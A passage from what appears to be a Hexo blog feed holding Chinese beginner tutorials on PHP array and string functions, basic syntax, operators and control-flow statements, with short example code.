class="keyword">array</span>(<span class="number">60</span>,<span class="number">80</span>,<span class="number">100</span>);</span><br><span class="line"><span class="keyword">echo</span> $xiaoqiang;</span><br></pre></td></tr></table></figure><p>7）asort<br>（）：对关联数组按照键值进行升序排序。        </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$students=<span class="keyword">array</span>(</span><br><span class="line"><span class="string">'xiaoming'</span>=&gt;<span class="number">60</span>,</span><br><span class="line"><span class="string">'xiaohong'</span>=&gt;<span class="number">80</span>,</span><br><span class="line"><span class="string">'xiaoqiang'</span>=&gt;<span class="number">100</span>,</span><br><span class="line"><span class="string">'xiaowang'</span>=&gt;<span class="number">90</span></span><br><span class="line">);</span><br><span class="line">asort($students);</span><br><span class="line">print_r($students);</span><br></pre></td></tr></table></figure><p>直接对数组里面的数据进行排序，第二个参数</p><hr><p>SORT_REGULAR - 正常比较单元（不改变类型） </p><p>SORT_NUMERIC - 单元被作为数字来比较 </p><p>SORT_STRING - 单元被作为字符串来比较</p><p>SORT_LOCALE_STRING - 根据当前的区域（locale）设置来把单元当作字符串比较。</p><hr><p>8）array_filter（）：用回调函数过滤数组中的元素。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">odd</span><span class="params">($var)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">return</span>($var % <span class="number">2</span> == <span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">even</span><span class="params">($var)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">return</span>($var % <span class="number">2</span> == <span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line">$array1 = <span class="keyword">array</span>(<span class="string">"a"</span>=&gt;<span class="number">1</span>, <span class="string">"b"</span>=&gt;<span class="number">2</span>, <span class="string">"c"</span>=&gt;<span class="number">3</span>, <span class="string">"d"</span>=&gt;<span class="number">4</span>, <span class="string">"e"</span>=&gt;<span class="number">5</span>);</span><br><span class="line">$array2 = <span class="keyword">array</span>(<span class="number">6</span>, <span class="number">7</span>, <span class="number">8</span>, <span class="number">9</span>, <span class="number">10</span>, <span class="number">11</span>, <span class="number">12</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"Odd :\n"</span>;</span><br><span class="line">print_r(array_filter($array1, <span class="string">"odd"</span>));</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"Even:\n"</span>;</span><br><span class="line">print_r(array_filter($array2, <span class="string">"even"</span>));</span><br></pre></td></tr></table></figure><h2 id="9-字符串处理"><a href="#9-字符串处理" class="headerlink" title="9.字符串处理"></a>9.字符串处理</h2><p><br><a href="http://www.w3school.com.cn/php/php_ref_string.asp" target="_blank" rel="noopener">字符串函数</a> 部分函数举例：</p><p>1）去除空白或其他字符函数</p><p>trim（）：移除字符串两侧的空白字符和其他字符。        </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$str=<span class="string">'    abc   '</span>;</span><br><span class="line">var_dump($str);</span><br><span class="line">var_dump(trim($str));</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$str=<span class="string">'abcabcdefac'</span>;</span><br><span class="line">var_dump($str);</span><br><span class="line">var_dump(trim($str,<span class="string">'bac'</span>));<span class="comment">//如果要去除多个字符可以连着写！</span></span><br></pre></td></tr></table></figure><p>另外：ltrim（）函数可以移除字符串左侧的空白字符或其他字符，rtrim（）函数可以移除字符串右侧的空白字符或其他字符，用法和trim相同。</p><p>2）大小写转换函数</p><p>strtoupper：把字符串转换为大写字母。strtolower：把字符串转换为小写字母。</p><p>例：echo strtoupper（”Hello WoRLD!”）；</p><p>3）字符串查找函数</p><p>substr_count<br>（）：计算子串在字符串中出现的次数。        </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$str=<span class="string">'testteste'</span>;</span><br><span class="line">var_dump(substr_count($str,<span class="string">'te'</span>));</span><br><span class="line">$text2 = <span class="string">'gcdgcdgcd'</span>;</span><br><span class="line"><span class="keyword">echo</span> substr_count($text2, <span class="string">'gcdgcd'</span>);</span><br><span class="line">$str=<span class="string">'testteste'</span>;</span><br><span class="line">var_dump(substr_count($str,<span class="string">'te'</span>,<span class="number">1</span>,<span class="number">8</span>));<span class="comment">//不能超出字符串</span></span><br></pre></td></tr></table></figure><p>strpos（）：返回字符串在另一字符串中第一次出现的位置（对大小写敏感）。    </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$str=<span class="string">'testteste'</span>;</span><br><span class="line">var_dump(strpos($str,<span class="string">'t1'</span>));</span><br><span class="line"><span class="keyword">if</span>(strpos($str, <span class="string">'t'</span>)===<span class="keyword">false</span>)&#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'没找到！'</span>;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'找到啦!'</span>;</span><br><span class="line">&#125;</span><br><span class="line">$str=<span class="string">'testteste'</span>;</span><br><span class="line">var_dump(strpos($str,<span class="string">'t'</span>,<span class="number">1</span>));</span><br></pre></td></tr></table></figure><p>strstr（）：查找字符串在另一字符串中的第一次出现（对大小写敏感）。     </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$str=<span class="string">'testteste'</span>;</span><br><span class="line">var_dump($str);</span><br><span class="line">var_dump(strstr($str,<span class="string">'s'</span>));</span><br><span class="line">var_dump(strstr($str,<span class="string">'s'</span>,<span class="keyword">true</span>));</span><br></pre></td></tr></table></figure><p>4）字符串替换函数</p><p>str_replace（）：替换字符串中的一些字符（对大小写敏感）。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$str=<span class="keyword">array</span>(</span><br><span class="line"><span class="string">'abc123abc'</span>,</span><br><span class="line"><span class="string">'123abcabc'</span>,</span><br><span class="line"><span class="string">'abcab123c'</span></span><br><span class="line">);</span><br><span class="line">var_dump($str);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;br&gt;'</span>;</span><br><span class="line">$str1=str_replace(<span class="keyword">array</span>(<span class="string">'1'</span>,<span class="string">'2'</span>,<span class="string">'3'</span>),<span class="keyword">array</span>(<span class="string">'一'</span>,<span class="string">'二'</span>,<span class="string">'三'</span>),$str,$count);</span><br><span class="line"><span class="keyword">echo</span> $count.<span class="string">'&lt;br&gt;'</span>;</span><br><span class="line">var_dump($str1);</span><br></pre></td></tr></table></figure><p>5）与html标签相关的函数</p><p>htmlspecialchars（）：把一些预定义的字符转换为 HTML 实体。</p><hr><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$str=<span class="string">&lt;&lt;&lt;START</span></span><br><span class="line"><span class="string">&lt;p style="color:red;font-size:128px;"&gt;嘻嘻嘻&lt;/p&gt;</span></span><br><span class="line"><span class="string">START;</span></span><br><span class="line"><span class="keyword">echo</span> $str;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"\n"</span>;</span><br><span class="line"><span class="keyword">echo</span> htmlspecialchars($str);</span><br></pre></td></tr></table></figure><p>strip_tags（）：剥去字符串中的 HTML 和 PHP 标签。        </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$str=<span class="string">&lt;&lt;&lt;START</span></span><br><span class="line"><span class="string">&lt;p style="color:red;font-size:128px;"&gt;嘻嘻嘻&lt;/p&gt;</span></span><br><span class="line"><span class="string">&lt;div style="color:red;"&gt;流年、乱了浮生&lt;/div&gt;</span></span><br><span class="line"><span class="string">START;</span></span><br><span class="line"><span class="keyword">echo</span> $str;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"\n"</span>;</span><br><span class="line"><span class="keyword">echo</span> strip_tags($str,<span class="string">"&lt;div&gt;&lt;p&gt;"</span>);</span><br></pre></td></tr></table></figure><p>6）字符串截取函数</p><p>substr（）：返回字符串的一部分。        </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$str=<span class="string">'testdqwdwqdwqdqdwq'</span>;</span><br><span class="line"><span class="keyword">echo</span> substr($str,<span class="number">3</span>,<span class="number">2</span>);</span><br><span class="line">$str=<span class="string">'test'</span>;</span><br><span class="line"><span class="keyword">echo</span> substr($str,<span class="number">-3</span>,<span class="number">2</span>);</span><br></pre></td></tr></table></figure><p>7）字符串分隔函数</p><p>explode（）：把字符串打散为数组。        </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$str=<span class="string">'test,test1,test2,test3'</span>;</span><br><span class="line">var_dump(explode(<span class="string">','</span>,$str,<span class="number">2</span>));</span><br></pre></td></tr></table></figure><p>str_split（）：把字符串分割到数组中。</p><p>$str=’test’;</p><p>var_dump(str_split($str,3));</p>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;1-函数（一）：自定义函数&quot;&gt;&lt;a href=&quot;#1-函数（一）：自定义函数&quot; class=&quot;headerlink&quot; title=&quot;1.函数（一）：自定义函数&quot;&gt;&lt;/a&gt;1.函数（一）：自定义函数&lt;/h2&gt;&lt;p&gt;&lt;br&gt;1）基本格式：&lt;/p&gt;
&lt;p&gt;function&amp;nbsp;函数名（参数1，…，参数n[可以省略]）{&lt;br&gt;        函数体；//任何有效的PHP代码&lt;br&gt;        return&amp;nbsp;值；//也可以不返回值&lt;br&gt;    }&lt;br&gt;&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>PHP基本语法与流程控制</title>
    <link href="http://yoursite.com/2019/04/05/PHP%E5%9F%BA%E6%9C%AC%E8%AF%AD%E6%B3%95%E4%B8%8E%E6%B5%81%E7%A8%8B%E6%8E%A7%E5%88%B6/"/>
    <id>http://yoursite.com/2019/04/05/PHP基本语法与流程控制/</id>
    <published>2019-04-05T01:47:55.000Z</published>
    <updated>2019-06-16T12:47:28.722Z</updated>
    
    <content type="html"><![CDATA[<h2 id="1-PHP概述"><a href="#1-PHP概述" class="headerlink" title="1.PHP概述"></a>1.PHP概述</h2><p><br>PHP语法借鉴吸收了C语言、java和Perl等流行计算机语言的特点。PHP主要目标是允许网络开发人员快速编写动态页面，简单说PHP主要用于开发各种类型的网站程序。PHP是脚本语言不需要事先编译，在服务器端运行。PHP可以运行在windows、Linux等各种操作系统上。<a id="more"></a></p><h2 id="2-PHP基本语法（一）：初识PHP脚本程序"><a href="#2-PHP基本语法（一）：初识PHP脚本程序" class="headerlink" title="2.PHP基本语法（一）：初识PHP脚本程序"></a>2.PHP基本语法（一）：初识PHP脚本程序</h2><p><br>PHP语言标记：开始标记：&lt; ?php&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;结束标记：?&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;输出：echo </p><p>PHP代码可以嵌入到html代码中任何位置，并且可以嵌入任意多个，代码末尾的?&gt;结束标记可以省略。一些PHP语句的结尾要加上；表示一句话的结束，结束标记?&gt;就隐含了一个；所以在?&gt;之前紧挨着的PHP语句可以省略；。</p><p>注释：/*&nbsp;&nbsp; */多行注释&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//单行注释</p><p>空格、制表符、换行这些在PHP中不会显示，可适当利用增加代码可读性。</p><h2 id="3-PHP基本语法（二）：变量、变量类型和常量"><a href="#3-PHP基本语法（二）：变量、变量类型和常量" class="headerlink" title="3.PHP基本语法（二）：变量、变量类型和常量"></a>3.PHP基本语法（二）：变量、变量类型和常量</h2><p><br>1）变量：是用于临时储存值的容器，PHP在使用变量前不需要事先声明变量，一旦设置了某个变量，就可以在脚本中重复去使用它。</p><p>格式：$变量名=值    unset（变量名称）函数 释放（删除）指定的变量</p><p>变量的命名规则：变量名严格区分大小写，<strong>变量名只能包含字母、数字、下划线并且必须以字母或下划线开头</strong>，最好不要用关键字（如：if、and等）作为变量名称。</p><p>变量的引用赋值：例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$；a=<span class="number">10</span>；$b=$a；<span class="keyword">echo</span> $b；<span class="comment">//此时输出:10</span></span><br><span class="line">$；a=<span class="number">10</span>；$b=&amp;$a；$b=<span class="number">20</span>；<span class="keyword">echo</span> $a；<span class="comment">//此时输出:20</span></span><br></pre></td></tr></table></figure><p>2）变量类型：是指保存在该变量中的数据类型，具有相同类型的数据才能被彼此相互操作，也不需要事先声明，变量或常量的数据类型由程序的上下文决定</p><p>使用var_dump（变量名）可以输出变量的类型。</p><p>（1）bool（布尔型）：最简单的类型，变量里存ture和false，如：$a=true;</p><p>（2）int（整型）：变量里存整数，如：$a=1;</p><p>（3）float（浮点型，也称double）：变量里存小数，如：$a=1.1;</p><p>（4）string（字符型）：如：$a=’测试’，字符串可以用单引号、双引号、定界符三种方法来定义</p><p>单引号：单引号中的字符串中不能再包含字符串，如果要用单引号需要用反斜杠（\）转义。PHP不会解析单引号中的变量，所以在定义简单字符串没有特别要求的时候，应使用单引号定义字符串！</p><p>双引号：PHP会解析双引号中的变量名，在双引号中使用变量时需使用{}括起来如:$a=”abc{$b}text….”，不括起来解析变量时会从$开始一直往后读，就会导致报错。</p><p>定界符：&lt;&lt;&lt;之后跟一个标识符（自己命名，命名规则同变量命名规则）开始，然后是字符串内容，最后是同样的标识符表示结束，结束标识符后必须接；例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$a=<span class="string">&lt;&lt;&lt;abc</span></span><br><span class="line"><span class="string">t<span class="subst">&#123;$b&#125;</span>est123...</span></span><br><span class="line"><span class="string">abc;</span></span><br></pre></td></tr></table></figure><p>定界符中写入变量时与双引号情况相同，定界符中字符串中可以使用单引号、双引号。</p><p>（5）array（数组）（6）object（对象）（7）resource（资源）这三种暂时先不写，之后再写。</p><p>（8）NULL（空）：将变量直接赋值为null；声明的变量未被赋值；被unset（）函数删除的变量，这三种情况就是空类型。</p><p>3）变量类型相互转换</p><p>自动类型转换：这种是程序运行中不太可控的部分所以在编写代码是不要涉及，不能给自己挖坑是吧。</p><p>强制类型转换：在要转换的变量之前加上括号括起来目标类型如：$b=（int）\$a;这种也用的少尽量不用</p><p>4）常量</p><p>定义：define（’常量名’，值）或者define（”常量名”，值） </p><p>命名：规则和变量相同，也遵循PHP标识的名称规则，按照惯例常量标识符总是大写的，例：define（’TEST’，’测试’），自己定义的常量严格区分大小写。</p><p>特点：常量不能通过赋值语句定义，只能用define（）函数定义； 常量一旦被定义就不能被重新定义或者取消定义；常量的值只能是bool、int、float、string类型。</p><p>预定义常量：其中有些以_开头的，这些预定义常量又叫<a href="https://www.php.net/manual/zh/language.constants.predefined.php" target="_blank" rel="noopener">魔术常量</a>，预定义常量不区分大小写。</p><h2 id="4-PHP基本语法（三）：运算符"><a href="#4-PHP基本语法（三）：运算符" class="headerlink" title="4.PHP基本语法（三）：运算符"></a>4.PHP基本语法（三）：运算符</h2><p><br>定义：运算符就是对一个或多个操作数（变量或数值）执行某种运算的符号，也称操作符。例：！true、$a + $b、true ？ 1:0，其中！、+、？、：这些就是运算符，其他就叫操作数，根据操作数的个数分为一元运算符、二元运算符、三元运算符。</p><p>1）算术运算符</p><p>​    +：加法；-：取反或减法；*：乘法；/：除法；%：取模</p><p>​    ++：自增：++$a&nbsp;先加一再赋值，$a++&nbsp;先赋值再加一；–：自减：和++相同，自增自减    是对变量而言的。</p><p>2）字符串运算符：只有一个（.）链接运算符，将两个字符串连接起来，例：$a.$b；</p><p>3）赋值运算符（=）：=左边必须是变量，右边可以是一个<a href="https://www.php.net/manual/zh/language.expressions.php" target="_blank" rel="noopener">表达式</a>，也可以是值或一个变量，将右边的值赋给左边的变量。</p><p>其他形式：+=：例：$a+=$b，等同于（$a=$a+$b），&nbsp;-=、/=、*=、%=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;同理。</p><p>4）比较运算符：对操作数按照比较运算符的规则进行比较，比较出的结果如果满足规则结果就是true，否则就是false。</p><p>==：是否相等；===：全等（值相等类型也相等）；！=：是否不相等；&lt;&gt;：同！=</p><p>！==：不全等；&nbsp;&nbsp;&nbsp;&lt;：小于；&nbsp;&nbsp;&nbsp;&gt;：大于；&nbsp;&nbsp;&nbsp;&lt;=：小于等于；&nbsp;&nbsp;&nbsp;&gt;=：大于等于</p><p>5）逻辑运算符：与比较运算符相似，满足结果输出true，否则输出false。</p><p>逻辑与（and&nbsp;或&nbsp;&amp;&amp;）：左右两边表达式值都为true时输出true，否则输出false。</p><p>逻辑或（or&nbsp;或&nbsp;&nbsp;||）：左右两边表达式值一个为true，就输出true。</p><p>逻辑亦或（xor）：左右不一样输出true，一样输出false。</p><p>逻辑非（！）：否定当前值。</p><p>6）位运算符：主要用于网站开发，在PHP中用的很少，这里就不写了。</p><p>7）其他运算符</p><p>?&nbsp;:：&nbsp;格式：表达式1？表达式2：表达式3；，如果表达式1的值为true就执行表达式2，表达式1的值为false就执行表达式3</p><p>‘&nbsp;&nbsp;’：可以把系统的命令放在里面执行，例：$a=’ipconfig’；，涉及跨平台。</p><p>@：屏蔽表达式可能发生的错误，例：echo&nbsp;@$a；</p><p>=&gt;、-&gt;、instanceof&nbsp;面向数组和对象使用，之后再写。</p><p>8）运算符的优先级：<a href="https://www.php.net/manual/zh/language.operators.precedence.php" target="_blank" rel="noopener">详情点这里</a> </p><p>优先级归纳：[结合方向（从哪个方向算）]运算符，由高到低（有括号先算括号内的，括号内看成一个整体）：</p><p>[无]递增++递减–、[右]逻辑非！、[左]乘*&nbsp;除/&nbsp;取余%、[左]加&nbsp;减&nbsp;字符串连接符、[无]包含大于号或者小于号的比较运算符、[无]不包含大于号或者小于号的比较运算符、[左]逻辑与&amp;&amp;、[左]逻辑或||、[左]？：、[右]赋值运算符、[左]逻辑亦或xor</p><h2 id="5-流程控制（一）：if语句"><a href="#5-流程控制（一）：if语句" class="headerlink" title="5.流程控制（一）：if语句"></a>5.流程控制（一）：if语句</h2><p><br>例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$a=<span class="number">91</span>;</span><br><span class="line">$grade1=<span class="number">60</span>;</span><br><span class="line">$grade2=<span class="number">75</span>;</span><br><span class="line">$grade3=<span class="number">85</span>;</span><br><span class="line"><span class="keyword">if</span>($a&lt;$grade1)&#123;</span><br><span class="line">    <span class="keyword">echo</span><span class="string">'不及格'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">elseif</span>($a&lt;$grade2)&#123;</span><br><span class="line">    <span class="keyword">echo</span><span class="string">'及格'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">elseif</span>($a&lt;$grade3)&#123;</span><br><span class="line"><span class="keyword">echo</span><span class="string">'良好'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">echo</span><span class="string">'优秀'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//最终输出优秀</span></span><br></pre></td></tr></table></figure><p>if、elseif、else等可相互嵌套，可以根据实际情况改变灵活运用，比较简单敲几遍就会了，与C语言语法一样。</p><h2 id="6-流程控制（二）：switch语句"><a href="#6-流程控制（二）：switch语句" class="headerlink" title="6.流程控制（二）：switch语句"></a>6.流程控制（二）：switch语句</h2><p><br>例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$a=<span class="number">3</span>;</span><br><span class="line"><span class="keyword">switch</span>($a)&#123;<span class="comment">//括号内是表达式</span></span><br><span class="line">    <span class="keyword">case</span> <span class="number">1</span>:<span class="comment">//case相当于==，与括号内表达式的值比较</span></span><br><span class="line">    <span class="keyword">echo</span><span class="string">'今天星期一'</span>;</span><br><span class="line">    <span class="keyword">break</span>;<span class="comment">//跳出的意思，结束此次switch</span></span><br><span class="line">    <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">    <span class="keyword">echo</span><span class="string">'今天星期二'</span>;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">    <span class="keyword">echo</span><span class="string">'今天星期二'</span>;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">    <span class="keyword">echo</span><span class="string">'今天星期三'</span>;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">    <span class="keyword">echo</span><span class="string">'今天星期四'</span>;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line">    <span class="keyword">echo</span><span class="string">'今天星期五'</span>;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">6</span>:</span><br><span class="line">    <span class="keyword">echo</span><span class="string">'今天星期六'</span>;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">7</span>:</span><br><span class="line">    <span class="keyword">echo</span><span class="string">'今天星期日'</span>;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">    <span class="keyword">echo</span><span class="string">'无法匹配'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//最终输出今天星期三</span></span><br></pre></td></tr></table></figure><p>注：表达式的值最好是整型或者字符串；不能漏掉break；如果某个case语句后面没有接任何语句块，那么就说明这个语句块内容同下；case后面的语句块不需要用{}括起来。</p><h2 id="7-流程控制（三）：循环语句"><a href="#7-流程控制（三）：循环语句" class="headerlink" title="7.流程控制（三）：循环语句"></a>7.流程控制（三）：循环语句</h2><p><br>1）while循环：while（表达式）{各种语句……}，当表达式值为true执行大括号内语句块，语句块执行结束后返回上面继续判断表达式值是true还是false，按此循环，当值为false时while语句结束，例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$a=<span class="number">1</span>;</span><br><span class="line"><span class="keyword">while</span>($a&lt;<span class="number">5</span>)&#123;</span><br><span class="line">    $a++;</span><br><span class="line">    <span class="keyword">echo</span> $a.<span class="string">'&lt;br /&gt;'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//最终输出2、3、4、5</span></span><br></pre></td></tr></table></figure><p>2）do…while循环：do{各种语句}while(表达式);，与while语句不同的是do…while语句至少要执行一次，例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$a=<span class="number">1</span>;</span><br><span class="line"><span class="keyword">do</span>&#123;</span><br><span class="line">    $a++;</span><br><span class="line">    <span class="keyword">echo</span> $a.<span class="string">'&lt;br /&gt;'</span>;</span><br><span class="line">&#125;<span class="keyword">while</span>($a&lt;<span class="number">5</span>);</span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//最终输出2、3、4、5</span></span><br></pre></td></tr></table></figure><p>3）for循环 ：for(表达式1;表达式2;表达式3){各种语句}，表达式1放初始化语句如：$a=0，表达式2放判断语句，表达式3放对初始化自增或自减的语句，三个表达式位置可以放多个表达式中间用逗号隔开。例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">for</span>($i=<span class="number">1</span>;$i&lt;<span class="number">5</span>;$i++)&#123;</span><br><span class="line">    <span class="keyword">echo</span> $i.<span class="string">'&lt;br /&gt;'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//最终输出1、2、3、4</span></span><br></pre></td></tr></table></figure><h2 id="8-流程控制（四）：特殊的流程控制语句"><a href="#8-流程控制（四）：特殊的流程控制语句" class="headerlink" title="8.流程控制（四）：特殊的流程控制语句"></a>8.流程控制（四）：特殊的流程控制语句</h2><p><br>1）break语句：用于switch、for、while、do…while、foreach等语句，用于<strong>中断当前语句</strong>，例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">for</span>($i=<span class="number">1</span>;$i&lt;<span class="number">5</span>;$i++)&#123;</span><br><span class="line"><span class="keyword">if</span>($i==<span class="number">3</span>)&#123;</span><br><span class="line">        <span class="keyword">break</span>;<span class="comment">//中断本次循环</span></span><br><span class="line">&#125;</span><br><span class="line">    <span class="keyword">echo</span> $i.<span class="string">'&lt;br /&gt;'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//最终输出1、2</span></span><br></pre></td></tr></table></figure><p>2）continue语句：只用于循环语句，<strong>跳出本次循环</strong>，例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">for</span>($i=<span class="number">1</span>;$i&lt;<span class="number">5</span>;$i++)&#123;</span><br><span class="line"><span class="keyword">if</span>($i==<span class="number">3</span>)&#123;</span><br><span class="line">        <span class="keyword">continue</span>;<span class="comment">//跳出本次循环</span></span><br><span class="line">&#125;</span><br><span class="line">    <span class="keyword">echo</span> $i.<span class="string">'&lt;br /&gt;'</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//最终输出1、2、4</span></span><br></pre></td></tr></table></figure><p>3）exit（）语句：结束整个程序的执行，括号内可以写字符串用作提示。例：</p><figure class="highlight 